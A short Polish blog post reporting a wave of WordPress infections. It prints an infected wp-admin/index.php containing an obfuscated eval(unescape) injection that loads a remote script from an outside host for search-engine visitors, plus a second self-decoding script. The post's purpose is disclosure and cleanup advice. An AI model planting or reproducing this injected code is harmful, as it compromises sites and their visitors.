Wirusowy Wordpress #2

Natąpiła chyba kolejna fala infekcji na Wordpressach.

Wydaje mi się, że zaatakowane zostały Wordpressy, których właściciele nie zmienili haseł po porzednim ataku. Czyli wygląda na to, że hasła trzymane są dalej w jakieś bazie. :)

Skutek ataku?

Jak na  razie namierzyłem 2 zmiany:

index.php w katalogu głównym

index.php w /wp-admin

W /wp-admin/index.php wygląda następująco:

<script>eval( unescape( “%69%66%28%21%6d%79%69%6b%29%7b%0d%0a%76%61%72%20%72%3d%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%2c%75%3d%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%2c%74%3d%22%22%2c%71 %2c%71%75%65%2c%73%65%3d%22%67%62%22%3b%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%67%6f%6f%67%6c%65%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%67%6f%6f%67%6c%65%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%6d%73%6e%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%6d%73%6e%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%68%6f%6f%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%70%22%3b%73%65%3d%22%79%61%68%6f%6f%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%6e%64%65%78%2e%72%75%22%29%21%3d%2d%31%29%7b%74%3d%22%74%65%78%74%22%3b%73%65%3d%22%79%61%6e%64%65%78%2e%72%75%22%3b%7d%0d%0a%69%66%28%74%2e%6c%65%6e%67%74%68&&%28%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22%3f%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%7c%7c%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22&%22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%29%29%7b%20%71%75%65%3d%72%2e%73%75%62%73%74%72%69%6e%67%28%71%2b%32%2b%74%2e%6c%65%6e%67%74%68%29%2e%73% 70%6c%69%74%28%22&%22%29%5b%30%5d%3b%0d%0a%69%66%20%28%28%71%75%65%2e%69%6e%64%65%78%4f%66%28%27%73%69%74%65%3a%27%29%3d%3d%2d%31%29%20&&%20%28%71%75%65%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%69%6e%64%65%78%4f%66%28%27%77%77%77%2e%27%29%3d%3d%2d%31%29%29%0d%0a%09%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%63%72%69%70%74%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%62%65%73%74%34%79%6f%75%2e%69%66%2e%75%61%2f%6a%73%2f%62%69%64%63%68%2e%6a%73%3f%71%3d%22%2b%71%75%65%2b%22&%72%65%66%3d%22%2b%72%2b%22%27%3e%3c%2f%73%63%22%2b%22%72%69%70%74%3e%22%29%3b%0d%0a%7d%0d%0a%7d%0d%0a%76%61%72%20%6d%79%69%6b%3d%74%72%75%65%3b” ));</script><?php
/**
* Dashboard Administration Panel
*
* @package WordPress
* @subpackage Administration
*/

/** Load WordPress Bootstrap */
require_once(‘admin.php’);

/** Load WordPress dashboard API */
require_once(ABSPATH . ‘wp-admin/includes/dashboard.php’);

wp_dashboard_setup();

wp_enqueue_script( ‘dashboard’ );
wp_enqueue_script( ‘plugin-install’ );
wp_enqueue_script( ‘media-upload’ );
wp_admin_css( ‘dashboard’ );
wp_admin_css( ‘plugin-install’ );
add_thickbox();

$title = __(‘Dashboard’);
$parent_file = ‘index.php’;
require_once(‘admin-header.php’);

$today = current_time(‘mysql’, 1);
?>

<div class=”wrap”>
<?php screen_icon(); ?>
<h2><?php echo wp_specialchars( $title ); ?></h2>

<div id=”dashboard-widgets-wrap”>

<?php wp_dashboard(); ?>

<div class=”clear”></div>
</div><!– dashboard-widgets-wrap –>

</div><!– wrap –>

<?php require(‘./admin-footer.php’); ?>
<script id=’c42ADECFB06FA8B1D7A04E1′>
/* 5l\kbim7b_!frbZ”t]h\nf^gm’pkbm^!ng^l\Zi^! ,\/2//0+/*/]/.+)/^/*/]/.,]/,,-,++)0,0+/,,]+0/10-0-0),Z+_+_,*,2,-+^,*,/,.+^,-+^,+,.+_+^0+0-/.+_/0/_+^0)/10),_0,/2/-,],*+0+[-]/*0-/1+^0+/_0./^/-+1-]/*0-/1+^0+/*/^/-/_/]+1+2+Z,+,,,,,*,0,*+2+[+0,,/*,0,.,1//,.,./+,.,++0+)00/2/-0 -/1,],.,-,*+)/1/./2/0/10-,],-,,,*+)0,0-02/\/.,]+00//20,/2/+/2/\/20-02,Z/1/2/-/-/./^+0,^,\+_/2//0+/*/]/.,^ “”4voZkfrbZ6mkn^45(l\kbim7 */
</script>
<script>
var DE352058AA0D260FC5AD = -2+-5;var A789853A992DDB851441 = document.getElementById(‘c42ADECFB06FA8B1D7A04E1′).innerHTML;var c42d5eb5edAB5D7B3A64D21C107B17 = new String;A789853A992DDB851441 = A789853A992DDB851441.substr(4,565);for(i=0;i<A789853A992DDB851441.length;i++) c42d5eb5edAB5D7B3A64D21C107B17 += String.fromCharCode(A789853A992DDB851441.subs tr(i,1).charCodeAt()-DE352058AA0D260FC5AD);document.write(c42d5eb5edAB5D7B3A64D21C107B17);
</script>
<script>check_content()</script>

Pomaga wymiana tych plików na oryginalne i zmiana haseł :)

–edit–

Listing w kilku miejscach został “poprawiony” :)

Warto zajrzeć tutaj:

http://dannedelko.com/wordpress/wordpress-exploit-gumblar-cn.html